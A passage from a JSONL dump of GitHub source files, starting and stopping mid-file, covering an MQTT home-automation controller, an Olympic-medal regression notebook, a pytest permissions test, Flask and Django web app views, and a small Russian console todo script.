'COMMAND_CONTROLLER')\nassert(COMMAND_DESC[COMMAND_DHCPD] == 'COMMAND_DHCPD')\n##############################################################\n\n\nclass JNTControllerManager(object):\n \"\"\"A node dedicated for a special thread/server like the the DHCP server or the listener thread in the webapp\n \"\"\"\n def __init__(self):\n self.mqtt_controller = None\n self._controller = None\n self.heartbeat_controller_timer = None\n self._requests = {'request_info_nodes' : self.request_info_nodes, 'request_info_users' : self.request_info_users, 'request_info_configs' : self.request_info_configs,\n 'request_info_systems' : self.request_info_systems, 'request_info_basics' : self.request_info_basics, 'request_info_commands' : self.request_info_commands }\n self.uuid = self.options.get_option(self.section, 'uuid')\n if self.uuid == None:\n self.uuid = muuid.uuid1()\n self.options.set_option(self.section, 'uuid', '%s'%self.uuid)\n\n\n def stop_controller_timer(self):\n \"\"\"Stop the controller timer\n \"\"\"\n if self.heartbeat_controller_timer is not None:\n self.heartbeat_controller_timer.cancel()\n self.heartbeat_controller_timer = None\n\n def start_controller_timer(self):\n \"\"\"Start the controller tier\n \"\"\"\n self.stop_controller_timer()\n self.heartbeat_controller_timer = threading.Timer(self._controller.heartbeat+5, self.heartbeat_controller)\n self.heartbeat_controller_timer.start()\n\n def stop_controller(self):\n \"\"\"Stop the controller\n \"\"\"\n logger.info(\"[%s] - Stop the controller\", self.__class__.__name__)\n if self.mqtt_controller is not None:\n self.mqtt_controller.unsubscribe(topic=TOPIC_NODES_REQUEST%(self._controller.hadd))\n self.mqtt_controller.stop()\n if self.mqtt_controller.is_alive():\n try:\n self.mqtt_controller.join()\n except Exception:\n logger.exception(\"[%s] - Catched exception\", self.__class__.__name__)\n self.mqtt_controller = None\n\n def start_controller(self, section, options, **kwargs):\n \"\"\"Start the controller\n \"\"\"\n logger.info(\"[%s] - Start the controller\", self.__class__.__name__)\n cmd_classes = kwargs.pop('cmd_classes', [])\n if not COMMAND_CONTROLLER in cmd_classes:\n cmd_classes.append(COMMAND_CONTROLLER)\n self._controller = JNTNode( uuid=section, options=options, cmd_classes=cmd_classes, **kwargs)\n self._controller.add_internal_system_values()\n self._controller.add_internal_config_values()\n self._controller.hadd_get(section, None)\n self._controller.load_system_from_local()\n self.mqtt_controller = MQTTClient(options=options.data)\n self.mqtt_controller.connect()\n logger.debug(\"[%s] - Subscribe to topic %s\", self.__class__.__name__, TOPIC_NODES_REQUEST%(self._controller.hadd))\n self.mqtt_controller.subscribe(topic=TOPIC_NODES_REQUEST%(self._controller.hadd), callback=self.on_controller_request)\n self.mqtt_controller.start()\n\n def heartbeat_controller(self):\n \"\"\"Send a add_ctrl:-1 heartbeat message. It will ping all devices managed by this controller.\n \"\"\"\n logger.debug(\"[%s] - Send heartbeat for controller\", self.__class__.__name__)\n if self.heartbeat_controller_timer is not None:\n #The manager is started\n self.heartbeat_controller_timer.cancel()\n self.heartbeat_controller_timer = None\n self.heartbeat_controller_timer = threading.Timer(self._controller.heartbeat, self.heartbeat_controller)\n self.heartbeat_controller_timer.start()\n if self._controller.hadd is not None:\n #~ print self.nodes[node].hadd\n add_ctrl, add_node = self._controller.split_hadd()\n msg = {'add_ctrl':add_ctrl, 'add_node':add_node, 'state':'ONLINE'}\n self.mqtt_controller.publish_heartbeat_msg(msg)\n\n def get_controller_hadd(self):\n \"\"\"Return the controller hadd\"\"\"\n if self._controller is None:\n return None\n return self._controller.hadd\n\n def get_controller(self):\n \"\"\"Return the controller\"\"\"\n return self._controller\n\n def on_controller_request(self, client, userdata, message):\n \"\"\"On request\n\n :param client: the Client instance that is calling the callback.\n :type client: paho.mqtt.client.Client\n :param userdata: user data of any type and can be set when creating a new client instance or with user_data_set(userdata).\n :type userdata: all\n :param message: The message variable is a MQTTMessage that describes all of the message parameters.\n :type message: paho.mqtt.client.MQTTMessage\n \"\"\"\n logger.debug(\"[%s] - on_request receive message %s\", self.__class__.__name__, message.payload)\n try:\n data = json_loads(message.payload)\n #~ print data['uuid']\n #We should check what value is requested\n #{'hadd', 'cmd_class', 'type'='list', 'genre'='0x04', 'data'='node|value|config', 'uuid'='request_info'}\n if data['cmd_class'] == COMMAND_DISCOVERY:\n if data['genre'] == 0x04:\n if data['uuid'] in self._requests:\n resp = {}\n resp.update(data)\n try:\n if message.topic.find('broadcast') != -1:\n topic = \"/broadcast/reply/%s\" % data['data']\n self._requests[data['uuid']](topic, resp)\n else:\n topic = \"/nodes/%s/reply\" % data['data']\n self._requests[data['uuid']](topic, resp)\n return\n except Exception:\n logger.exception(\"[%s] - Exception when running on_request method\", self.__class__.__name__)\n return\n logger.warning(\"[%s] - Unknown request value %s\", self.__class__.__name__, data)\n except Exception:\n logger.exception(\"[%s] - Exception in on_request\", self.__class__.__name__)\n\n\n def request_info_nodes(self, reply_topic, resp):\n \"\"\"\n \"\"\"\n resp['data'] = self._controller.to_dict()\n msg = json_dumps(resp)\n self.publish_request(reply_topic, msg)\n\n def request_info_users(self, reply_topic, resp):\n \"\"\"\n \"\"\"\n resp['data'] = {}\n for kvalue in list(self._controller.values.keys()):\n value = self._controller.values[kvalue]\n if value.genre == 0x02:\n if value.hadd not in resp['data']:\n resp['data'][value.hadd] = {}\n resp['data'][value.hadd][value.uuid] = value.to_dict()\n msg = json_dumps(resp)\n self.publish_request(reply_topic, msg)\n\n def request_info_configs(self, reply_topic, resp):\n \"\"\"\n \"\"\"\n resp['data'] = {}\n for kvalue in list(self._controller.values.keys()):\n value = self._controller.values[kvalue]\n if value.genre == 0x03:\n if value.hadd not in resp['data']:\n resp['data'][value.hadd] = {}\n resp['data'][value.hadd][value.uuid] = value.to_dict()\n msg = json_dumps(resp)\n self.publish_request(reply_topic, msg)\n\n def request_info_basics(self, reply_topic, resp):\n \"\"\"\n \"\"\"\n resp['data'] = {}\n for kvalue in list(self._controller.values.keys()):\n value = self._controller.values[kvalue]\n if value.genre == 0x01:\n if value.hadd not in resp['data']:\n resp['data'][value.hadd] = {}\n resp['data'][value.hadd][value.uuid] = value.to_dict()\n msg = json_dumps(resp)\n self.publish_request(reply_topic, msg)\n\n def request_info_systems(self, reply_topic, resp):\n \"\"\"\n \"\"\"\n resp['data'] = {}\n for kvalue in list(self._controller.values.keys()):\n value = self._controller.values[kvalue]\n if value.genre == 0x04:\n if value.hadd not in resp['data']:\n resp['data'][value.hadd] = {}\n resp['data'][value.hadd][value.uuid] = value.to_dict()\n msg = json_dumps(resp)\n self.publish_request(reply_topic, msg)\n\n def request_info_commands(self, reply_topic, resp):\n \"\"\"\n \"\"\"\n resp['data'] = {}\n for kvalue in list(self._controller.values.keys()):\n value = self._controller.values[kvalue]\n if value.genre == 0x04:\n if value.hadd not in resp['data']:\n resp['data'][value.hadd] = {}\n resp['data'][value.hadd][value.uuid] = value.to_dict()\n msg = json_dumps(resp)\n self.publish_request(reply_topic, msg)\n\n def publish_request(self, reply_topic, msg):\n \"\"\"\n \"\"\"\n self.mqtt_controller.publish(topic=reply_topic, payload=msg)\n\n","repo_name":"bibi21000/janitoo","sub_path":"src/janitoo/server_updater.py","file_name":"server_updater.py","file_ext":"py","file_size_in_byte":17174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"33165619577","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Steps followed for Linear Regression Modeling \n# 1. Form a hypothesis: We can predict how many medals a country will win in the Olympics.\n# 2. find the Data: Data from the summer olympics\n# 3. Reshape the Data \n# 4. Clean the Data to handle missing values\n# 5. Error Metric (mean absolute error) add up error values and divide by total number of predictions\n# 6. Splitting the Data: Train on 1 part, predict on another part.\n# 7. Train a Model using linear regression using 2 predictors.\n\n# In[1]:\n\n\nimport pandas as pd\nimport seaborn as sns\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_absolute_error\nimport numpy as np\n\n\n# In[2]:\n\n\nteams = pd.read_csv('teams.csv')\n\n\n# In[3]:\n\n\nteams\n\n\n# In[4]:\n\n\n#drop a couple columns\n\nteams = teams[[\"team\", \"country\",'year', 'athletes', 'age', 'prev_medals', 'medals']]\nteams\n\n\n# In[5]:\n\n\n# looking for correlations with medals (athletes and prev medals is very high)\nteams.corr()['medals']\n\n\n# In[6]:\n\n#plotting data with a regression line\nsns.lmplot(x=\"athletes\", y='medals', data=teams, fit_reg=True, ci=None) #ci is confidence interval\n\n\n# In[7]:\n\n# no relationship between age and medals\nsns.lmplot(x=\"age\", y='medals', data=teams, fit_reg=True, ci=None)\n\n\n# In[8]:\n\n#How many countries fall within each bin\nteams.plot.hist(y='medals')\n\n\n# In[9]:\n\n### 4. Clean the Data to handle missing values\n# finding the rows with missing values\nteams[teams.isnull().any(axis=1)]\n\n\n# In[10]:\n\n#drop rows with missing data\n\nteams = teams.dropna()\nteams\n\n\n# In[11]:\n\n### 6. Splitting the Data: Train on 1 part, predict on another part.\n# Last 2 years in test set, previous year into train set\n\ntrain = teams[teams[\"year\"] < 2012].copy()\ntest = teams[teams[\"year\"] >= 2012].copy()\n\n\n# In[12]:\n\ntrain.shape\n\n\n# In[13]:\n\ntest.shape\n\n\n# In[14]:\n\n### 7. Train a Model using linear regression using 2 predictors.\n\nreg = LinearRegression()\n\n\n# In[15]:\n\n#columns we are going to use to predict\npredictors = ['athletes', 'prev_medals']\ntarget = 'medals' #to predict this column\n\n\n# In[16]:\n\n# data we will use, followed by the target\nreg.fit(train[predictors], train['medals'])\n\n\n# In[17]:\n\n#using alg to make predictions\npredictions = reg.predict(test[predictors])\n\n# In[18]:\n\npredictions\n\n\n# In[19]:\n\n# correcting the model to prevent negatives and rounding the numbers\n# assigning the column to the test set\ntest['predictions'] = predictions\ntest\n\n# In[20]:\n\n# locate negative numbers and turn them into a 0\ntest.loc[test['predictions']<0, 'predictions']=0\n\n# In[21]:\n\n#rounding predictions to nearest whole number\ntest['predictions'] = test['predictions'].round()\n\n\n# In[22]:\n\ntest\n# In[23]:\n\n# looking at mean absolute error\n\nerror = mean_absolute_error(test['medals'], test['predictions'])\n\nerror\n\n# about 3.3 medals away from the actual count\n\n# In[24]:\n\n#comparing and making sure our error is below the standard deviation\nteams.describe()['medals']\n\n# In[25]:\n\n#looking at a specific country \ntest[test['team']=='USA']\n\n\n# In[26]:\n\n#looking at a specific country \ntest[test['team']=='IND']\n\n\n# In[27]:\n\n# errors by country\n\nerrors = (test['medals'] - test['predictions']).abs()\n\n\n# In[28]:\n\nerrors\n\n\n# In[29]:\n\n# seperate group for each team and then find the mean\nerror_by_team = errors.groupby(test['team']).mean()\n\n\n# In[30]:\n\nerror_by_team\n\n# In[31]:\n\n#medals each country earned on average\nmedals_by_team = test['medals'].groupby(test['team']).mean()\n\n# In[32]:\n\nmedals_by_team\n\n# In[33]:\n\n#ratio of error\nerror_ratio = error_by_team / medals_by_team\n\n# In[34]:\n\nerror_ratio\n\n# In[35]:\n\n#countries that dont have missing values\nerror_ratio[~pd.isnull(error_ratio)]\n\n# In[36]:\n\n#clean up infinite values\n\nerror_ratio = error_ratio[np.isfinite(error_ratio)]\n\n\n# In[37]:\n\nerror_ratio\n\n# In[38]:\n\n### USA within 12%\nerror_ratio.plot.hist()\n\n\n# In[39]:\n\n### making predictions for countries that earn alot of medals, this models works well\n### countries that do not get a lot of medals the error ration tends to be very high\n\nerror_ratio.sort_values()\n\n\n# to improve accuacy\n## 1 add more predictions\n## 2 try different models\n## 3 go back to the original athlete data set\n## 4 try reshaping the columns\n## 5 measure the error across more columns\n## 6 measure across different country parameters\n\n","repo_name":"Patrick-Oline/Olympic_Medal_Predictions","sub_path":"Olympic Medal Predictions.py","file_name":"Olympic Medal Predictions.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"69969444673","text":"import pytest\nfrom tests.testing import USERID, make_environ\n\n\nclass TestPermissionsSiteList:\n\n url = '/studies/sites'\n\n @pytest.fixture(autouse=True)\n def populate(self, app, dbsession):\n import transaction\n from occams import models\n\n # Any view-dependent data goes here\n # Webtests will use a different scope for its transaction\n with transaction.manager:\n blame = models.User(key=USERID)\n dbsession.info['blame'] = blame\n dbsession.add(blame)\n dbsession.flush()\n\n dbsession.add(models.Site(name=u'ucsd', title=u'UCSD'))\n dbsession.add(models.Site(name=u'ucla', title=u'UCSD'))\n\n @pytest.mark.parametrize('group', [\n 'administrator', 'manager', 'ucsd:enterer', 'ucsd:reviewer',\n 'ucsd:consumer', 'ucla:member', 'ucsd:member', None])\n def test_allowed(self, app, dbsession, group):\n environ = make_environ(userid=USERID, groups=[group])\n res = app.get(\n self.url, extra_environ=environ, xhr=True, status='*')\n assert 200 == res.status_code\n\n def test_filtered_site(self, app, dbsession):\n \"\"\"\n Any authenticated user can view a site resources, but the listing\n is filterd based on what sites they have access.\n \"\"\"\n environ = make_environ(userid=USERID, groups=['ucsd:member'])\n res = app.get(\n self.url, extra_environ=environ, xhr=True, status='*')\n assert 200 == res.status_code\n assert all('ucsd' == s['name'] for s in res.json['sites'])\n\n def test_not_authenticated(self, app, dbsession):\n res = app.get(self.url, xhr=True, status='*')\n assert 401 == res.status_code\n","repo_name":"Diggitysc/occams-api","sub_path":"tests/functional/views/test_site.py","file_name":"test_site.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25080829960","text":"from datetime import datetime\n\nfrom flask import render_template, flash, redirect, request, url_for\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom werkzeug.urls import url_parse\n\nfrom app import app, db, logging\nfrom app.models import User, Enterprise, Value\nfrom app.forms import LoginForm, RegistrationForm, EditProfileForm, EnterpriseForm, EditEnterpriseForm\n\n\n@app.before_request\ndef before_request():\n \"\"\"Función que actualiza periodicamente el valor de última conexión del usuario\"\"\"\n if current_user.is_authenticated:\n current_user.last_seen = datetime.utcnow()\n db.session.commit()\n\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\n@app.route(\"/index\", methods=[\"GET\", \"POST\"])\n@login_required\ndef index():\n \"\"\"Función que maneja la lógica de la inserción de empresas tanto en 'enterprises'\n como en 'values'enterprises', así como el despliegue de páginas y la paginación de las mismas\n\n :return: Redireccionamiento a página principal\n :rtype: None\n \"\"\"\n form = EnterpriseForm()\n if form.validate_on_submit():\n enterprise = Enterprise(\n name=form.name.data, description=form.description.data, symbol=form.symbol.data, author=current_user\n )\n for value_name in form.values.data:\n value = Value.query.filter_by(name=value_name).first()\n if not value:\n value = Value(name=value_name)\n enterprise.values.append(value)\n db.session.add(enterprise)\n db.session.commit()\n\n flash(\"Tu empresa ha sido creada con éxito\")\n return redirect(url_for(\"index\"))\n\n page = request.args.get(\"page\", 1, type=int)\n enterprises = current_user.get_all_enterprises().paginate(page, app.config[\"ENTERPRISES_PER_PAGE\"], False)\n next_url = url_for(\"index\", page=enterprises.next_num) if enterprises.has_next else None\n prev_url = url_for(\"index\", page=enterprises.prev_num) if enterprises.has_prev else None\n return render_template(\n \"index.html\",\n title=\"Home\",\n form=form,\n enterprises=enterprises.items,\n next_url=next_url,\n prev_url=prev_url,\n )\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n \"\"\"Función que direcciona a formulario que valida identidad del usuario\n\n :return: Redireccionamiento a página principal\n :rtype: None\n \"\"\"\n if current_user.is_authenticated:\n return redirect(url_for(\"index\"))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.username.data).first()\n if user is None or not user.check_password(form.password.data):\n flash(\"Usuario y/o contraseña invàlidos\")\n return redirect(url_for(\"login\"))\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get(\"next\")\n if not next_page or url_parse(next_page).netloc != \"\":\n next_page = url_for(\"index\")\n return redirect(next_page)\n return render_template(\"login.html\", title=\"Ingresar\", form=form)\n\n\n@app.route(\"/logout\")\ndef logout():\n logout_user()\n return redirect(url_for(\"index\"))\n\n\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef register():\n \"\"\"Función que permite direccionar a la página de registro de usuarios y\n manejar la lógica de las peticiones\n\n :return: redireccionamiento a página de registro\n :rtype: None\n \"\"\"\n if current_user.is_authenticated:\n return redirect(url_for(\"index\"))\n form = RegistrationForm()\n if form.validate_on_submit():\n user = User(username=form.username.data, email=form.email.data)\n user.set_password(form.password.data)\n db.session.add(user)\n db.session.commit()\n flash(\"Felicitaciones. Te has registrado con èxito\")\n return redirect(url_for(\"login\"))\n return render_template(\"register.html\", title=\"Register\", form=form)\n\n\n@app.route(\"/user/\")\n@login_required\ndef user(username):\n user = User.query.filter_by(username=username).first_or_404()\n return render_template(\"user.html\", user=user)\n\n\n@app.route(\"/edit_profile\", methods=[\"GET\", \"POST\"])\n@login_required\ndef edit_profile():\n \"\"\"Función que permite redireccionar a página de edición de perfiles de usuarios\n y manejar la lógica de las peticiones\n\n :return: redireccionamiento a página de edición de perfiles\n :rtype: None\n \"\"\"\n form = EditProfileForm(current_user.username)\n if form.validate_on_submit():\n current_user.username = form.username.data\n current_user.about_me = form.about_me.data\n db.session.commit()\n flash(\"Tus cambios han sido guardados\")\n return redirect(url_for(\"edit_profile\"))\n elif request.method == \"GET\":\n form.username.data = current_user.username\n form.about_me.data = current_user.about_me\n return render_template(\"edit_profile.html\", title=\"Editar Perfil\", form=form)\n\n\n@app.route(\"/edit_enterprise/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef edit_enterprise(enterprise_name: str):\n \"\"\"Función que permite editar empresas y manejar la lógica de las peticiones\n\n\n :param enterprise_name: enterprise_name Nombre de la empresa. Al ser único basta para\n buscar en la DB sin tener que usar el uuid\n :type enterprise_name: str\n :return: Redireccionamiento a página de edición de empresa\n :rtype: None\n \"\"\"\n app.logger.error(enterprise_name)\n current_enterprise = Enterprise.query.filter_by(name=enterprise_name).first()\n form = EditEnterpriseForm(current_enterprise.name, current_enterprise.symbol)\n if form.validate_on_submit():\n current_enterprise.name = form.name.data\n current_enterprise.description = form.description.data\n current_enterprise.symbol = form.symbol.data\n db.session.commit()\n flash(\"Tus cambios han sido registrados con éxito.\")\n return redirect(url_for(\"index\"))\n elif request.method == \"GET\":\n form.name.data = current_enterprise.name\n form.description.data = current_enterprise.description\n form.symbol.data = current_enterprise.symbol\n\n return render_template(\"edit_enterprise.html\", title=\"Editar Empresa\", form=form)\n\n\n@app.route(\"/delete_enterprise/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef delete_enterprise(enterprise_name: str):\n \"\"\"Función que permite eliminar empresas y sus registros en\n 'values_enterprises' a la vez\n\n :params: enterprise_name Nombre de la empresa. Al ser único basta para\n buscar en la DB sin tener que usar el uuid\n :return: redirect a página principal\n :rtype: None\n \"\"\"\n app.logger.error(enterprise_name)\n current_enterprise = Enterprise.query.filter_by(name=enterprise_name).first()\n db.session.delete(current_enterprise)\n db.session.commit()\n flash(\"La empresa ha sido borrada con éxito\")\n\n return redirect(url_for(\"index\"))\n","repo_name":"nowhereknight/Mulan","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":7007,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4834975194","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.utils.encoding import force_bytes, force_text\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.template.loader import render_to_string\nfrom .tokens import account_activation_token\nfrom .tokens import PasswordResetTokenGenerator\nfrom django.core.mail import send_mail\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils import six\nfrom django.contrib.auth import login\nfrom django.views import View\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse, HttpResponse, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nimport json\nfrom .models import Student, Teacher, School, Subject, SchoolAdmin, Set\nfrom .forms import StudentRegister, TeacherRegister, SetCreate\nfrom forms.models import Form, Answer\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\n\n\n\ndef activate(request, uidb64, token):\n #TRY GET USER BASED ON TOKEN\n try:\n id_ = force_text(urlsafe_base64_decode(uidb64))\n user = get_user_model().objects.get(pk=id_)\n except (TypeError, ValueError, OverflowError, get_user_model().DoesNotExist):\n user = None\n\n #IF USER EXISTS CHANGE CONFIRMED AND is_active ATTRIBUTES TO TRUE\n if user is not None and account_activation_token.check_token(user, token):\n\n groups = user.groups.all()\n user.is_active = True\n user.email_confirmed = True\n user.save()\n login(request, user)\n return redirect('profile')\n else:\n return render(request, 'email/invalid_token.html')\n\ndef send_confirmation_email(request, user):\n #GETS ALL THE INFORMATION FOR THE CONFIRMATION EMAIL\n current_site = get_current_site(request)\n subject = 'Activate your SmartSurvey account'\n message = render_to_string('email/email_activation.html', {\n 'name': user.get_full_name(),\n 'domain': current_site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n 'token': account_activation_token.make_token(user),\n })\n user.email_user(subject, message)\n\ndef student_registration(request):\n #Student Registration\n\n if request.method == 'POST':\n form = StudentRegister(request.POST)\n #GETS SCHOOL OBJECT FROM EMAIL DOMAIN\n school_domain = form['email'].value().split('@')[1]\n try:\n school = School.objects.get(email_domain = school_domain)\n except ObjectDoesNotExist:\n pass\n \n if form.is_valid() and school:\n user, Student = form.save()\n Student.school = school\n Student.save()\n user.groups.add(Group.objects.get(name='Student'))\n #user.is_active TO STOP USERS LOGGING IN WITHOUT CONFIRMING THEIR EMAILS\n \n user.is_active = False\n user.save()\n\n #SENDS CONFIRMATION LINK\n send_confirmation_email(request, user)\n\n args = {'email': user.email,\n 'link': user.Student.school.email_website,}\n return render(request, 'email/token_sent.html', args)\n\n else:\n args = {'form': form,}\n return render(request, 'users/students.html', args)\n \n else:\n form = StudentRegister()\n args = {'form': form,}\n return render(request, 'users/students.html', args)\n\ndef teacher_registration(request):\n #TEACHER REGISTRATION\n \n if request.method == 'POST':\n form = TeacherRegister(request.POST)\n #GETS SCHOOL OBJECT FROM EMAIL DOMAIN\n email = form['email'].value().split('@')[1]\n try:\n school = School.objects.get(email_domain = email)\n except ObjectDoesNotExist:\n pass\n if form.is_valid():\n user, Teacher = form.save()\n Teacher.school = school\n Teacher.save()\n user.groups.add(Group.objects.get(name='Teacher'))\n #user.is_active TO STOP USERS LOGGING IN WITHOUT CONFIRMING THEIR EMAILS\n \n user.is_active = False\n user.save()\n #SENDS CONFIRMATION LINK\n send_confirmation_email(request, user)\n \n args = {'email': user.email,\n 'link': user.Teacher.school.email_website}\n \n return render(request, 'email/token_sent.html', args)\n \n else:\n args = {'form': form,}\n return render(request, 'users/teachers.html', args)\n\n else:\n form = TeacherRegister\n args = {'form':form,}\n return render(request, 'users/teachers.html', args)\n\n@login_required(login_url='/login/')\ndef confirm_teacher(request):\n #GET THE TEACHER OBJECT AND IF THE TEACHER SHOULD BE VERIFIED OR DELETED\n id_ = request.POST.get('teacherID', None)\n delete = request.POST.get('delete', False)\n user = get_user_model().objects.get(pk = id_)\n teacher = Teacher.objects.get(user = user)\n\n #CHECK IF THE TEACHER SHOULD BE DELETED OR ACCEPTED\n if delete == 'True':\n user.delete()\n else:\n teacher.verified = True\n teacher.save()\n return JsonResponse({})\n\nclass create_set(LoginRequiredMixin, View):\n login_url = '/login/'\n template_name = 'users/create_set.html'\n\n #IF GET REQUEST\n def get(self, request):\n if request.is_ajax():\n #GETS ALL TEH STUDENTS AT THE TEACHERS SCHOOL\n keyword = request.GET.get('keyword', None).lower()\n teacher_school = Teacher.objects.get(user = request.user).school\n students = Student.objects.filter(school = teacher_school)\n student_list = []\n #FILTERS STUDENTS AGAINST KEYWORD ENTERED BY TEACHER\n for student in students:\n if keyword in student.user.get_full_name().lower() or keyword in student.user.email.lower():\n to_add = [student.user.get_full_name(), student.user.email, student.user.id]\n student_list.append(to_add)\n args = {'students': student_list}\n\n return JsonResponse(args)\n else:\n if request.user.is_teacher():\n return render(request, self.template_name)\n else:\n return HttpResponseRedirect(\"/profile/\")\n\n #IF POST REQUEST\n def post(self, request):\n\n if request.user.is_teacher():\n #GETS ALL THE STUDENT IDS AND MAKES THEM INTO A PYTHON LIST\n student_ids = request.POST.get('student_ids', None)\n student_ids = json.loads(student_ids)\n\n name = request.POST.get('name', None)\n\n form = SetCreate(request.POST)\n \n #CREATES THE SET OBJECT IF A NAME AND AT LEAST 1 STUDENT IS ENTERED\n if len(name) >= 1 and len(student_ids) >= 1:\n new_set = Set(name = name,\n teacher = request.user,\n )\n new_set.save()\n #ADDS STUDENTS TO THE MANYTOMANY RELATIONSHIP VIA THEIR ID\n for id_ in student_ids:\n user = get_user_model().objects.get(pk = id_)\n new_set.students.add(user)\n new_set.save()\n\n url = '/class/{}/'.format(new_set.id)\n args = {'url': url}\n else:\n args = {'message': 'Please ensure you have a Class name and at least 1 Student you wish to add'}\n \n return JsonResponse(args)\n else:\n return HttpResponseRedirect(\"/profile/\")\n \n\n@login_required(login_url='/login/')\ndef view_set(request, set_id):\n #GETS THE SET OBJECT\n try:\n set_ = Set.objects.get(id = set_id)\n except ObjectDoesNotExist:\n return HttpResponse(\"That Class doesnt exist\")\n \n\n user = request.user\n #CHECKS IF THE USER IS THE SETS TEACHER\n if user != set_.teacher:\n return HttpResponse(\"Not permitted to view that set\")\n\n #GETS ALL THE STUDENTS\n students = set_.students.all()\n\n #GETS ALL THE TEACHERS\n forms = Form.objects.filter(teacher = user, setID = set_, duplicate = False)\n for form in forms:\n resends = Form.objects.filter(parent = form)\n form.times_sent = len(resends) + 1\n\n args = {'set': set_,\n 'forms': forms,\n 'teachers_name': user.get_full_name(),\n 'students': students}\n\n return render(request, 'users/view_set.html', args)\n\ndef add_students(request):\n #Gets set ID and student ids\n student_ids = request.POST.get('student_ids', None)\n student_ids = json.loads(student_ids)\n set_id = request.POST.get('set_id', None)\n\n #gets set object\n try:\n set_ = Set.objects.get(pk = set_id)\n except ObjectDoesNotExist:\n return JsonResponse({})\n\n #adds students\n for id_ in student_ids:\n try:\n user = get_user_model().objects.get(pk = id_)\n set_.students.add(user)\n set_.save()\n except ObjectDoesNotExist:\n pass\n\n return JsonResponse({})\n\n\n@login_required(login_url='/login/')\ndef delete_from_class(request):\n #gets student and set id\n student_id = request.POST.get('id', None)\n set_id = request.POST.get('set_id')\n\n #Deletes student\n try:\n student = get_user_model().objects.get(pk = student_id)\n set_ = Set.objects.get(pk = set_id)\n except ObjectDoesNotExist:\n return JsonResponse({'success': 'invalid id'})\n args = {}\n if request.user == set_.teacher:\n set_.students.remove(student)\n args[\"success\"] = True\n else:\n args[\"success\"] = False\n return JsonResponse(args)\n\n\n@login_required(login_url='/login/')\ndef profile(request):\n #GET THE USER\n user = request.user\n \n args = {'user': user}\n\n logger.debug(user.is_teacher())\n\n if user.is_teacher():\n #GETS THE TEACHERS FORM AND THEIR SETS AND CHECKS IF THEYRE VERIFIED\n teacher = Teacher.objects.get(user = user)\n forms = Form.objects.filter(teacher = user, duplicate = False)\n sets = Set.objects.filter(teacher = user)\n new_form_list = []\n \n #CHECK HOW MANY TIMES EACH FORM HAS BEEN SENT\n for form in forms:\n resends = Form.objects.filter(parent = form)\n form.times_sent = len(resends) + 1\n new_form_list.append(form)\n\n args['teacher'] = Teacher.objects.get(user = user)\n args['verified'] = teacher.verified\n args['forms'] = new_form_list\n args['sets'] = sets\n return render(request, 'users/teacher_profile.html', args)\n \n elif user.is_student():\n #GETS STUDENTS FORMS THAT THEY HAVENT REPLIED TO\n student = Student.objects.get(user = user)\n sets = Set.objects.filter(students__id=user.id)\n forms = []\n for set_ in sets:\n forms_ = Form.objects.filter(setID = set_)\n for form in forms_:\n answers = Answer.objects.filter(form = form, student = user)\n if len(answers) == 0:\n forms.append(form)\n\n args = {'forms': forms,\n }\n return render(request, 'users/student_profile.html', args)\n\n elif user.is_admin():\n #GETS TEACHERS THAT HAVE CONFIRMED THEIR EMAIL BUT ARENT CONFIRMED AS TEACHERS\n admin_object = SchoolAdmin.objects.get(user = user)\n school = School.objects.get(school_name = admin_object.school.school_name)\n school_teachers = Teacher.objects.filter(school = school, verified = False)\n\n for teacher in school_teachers:\n if teacher.user.email_confirmed == False:\n user = teacher.user\n school_teachers = school_teachers.exclude(user = user)\n\n args = {'teachers': school_teachers,\n 'admin': admin_object}\n return render(request, 'users/admin_profile.html', args)\n\n else:\n return HttpResponse(\"No profile found; contact a Site Admin\")\n\n\ndef delete_set(request):\n #gets set and deletets it\n set_id = request.POST.get('id', None)\n set_ = Set.objects.get(pk = set_id)\n if request.user == set_.teacher:\n set_.delete()\n return JsonResponse({})\n\ndef rename_set(request):\n #gets set and new name and renames set\n set_id = request.POST.get('id', None)\n new_name = request.POST.get('name', None)\n \n set_ = Set.objects.get(pk = set_id)\n if request.user == set_.teacher:\n set_.name = new_name\n\n set_.save()\n\n return JsonResponse({})","repo_name":"wtreston/smart-survey","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19986311425","text":"lst = []\nprint('\\nПростой todo:\\n1. Добавить задачу.\\n2. Вывести список задач.\\n3. Выход.')\nwhile True:\n dct = {}\n num = input('\\nВведите число: ')\n if num == '1':\n name = input('Сформулируйте задачу: ')\n ctg = input('Добавьте категорию к задаче: ')\n time = input('Добавьте время к задаче: ')\n dct['name'] = name\n dct['category'] = ctg\n dct['time'] = time\n lst.append(dct)\n elif num == '2':\n for i in lst:\n print('Задача:',i['name'],' Категория:',i['category'],\n ' Дата:',i['time'])\n elif num == '3':\n break\n else:\n print('Введите другое число (1,2 